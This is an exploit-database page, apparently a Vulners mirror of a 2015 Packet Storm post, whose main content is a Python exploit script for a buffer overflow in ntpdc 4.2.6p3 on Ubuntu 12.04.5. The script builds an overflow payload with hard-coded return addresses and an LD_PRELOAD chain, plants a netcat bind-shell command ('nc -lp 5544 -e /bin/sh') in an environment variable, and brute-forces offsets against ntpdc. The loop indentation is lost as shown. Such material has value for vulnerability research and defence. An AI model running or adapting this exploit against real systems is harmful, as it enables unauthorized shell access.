Lucene search
K

Ntpdc 4.2.6p3 Buffer Overflow

🗓️ 09 Jan 2015 00:00:00Reported by droneType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Ntpdc 4.2.6p3 Buffer Overflow on Ubuntu 12.04.5 LTS with shellcode and environment variable

Code
`from os import system, environ  
from struct import pack  
import sys  
  
#  
# ntpdc 4.2.6p3 bof  
# @dronesec  
# tested on x86 Ubuntu 12.04.5 LTS  
#  
  
IMAGE_BASE = 0x80000000  
LD_INITIAL_OFFSET = 8900  
LD_TAIL_OFFSET = 1400  
  
sploit = "\x41" * 485 # junk  
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip  
sploit += "\x41" * 79 # junk  
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode  
  
ld_pl = ""  
ld_pl += pack("<I", 0xeeffffff) # ESI  
ld_pl += pack("<I", 0x11366061) # EDI  
ld_pl += pack("<I", 0x41414141) # EBP  
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET  
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI  
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong  
  
environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"  
  
for idx in xrange(200):  
  
for inc in xrange(200):  
  
ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)  
ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)  
  
environ["LD_PRELOAD"] = ld_pl  
system("echo %s | ntpdc 2>&1" % sploit)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jan 2015 00:00Current
1.3Low risk
Vulners AI Score1.3
22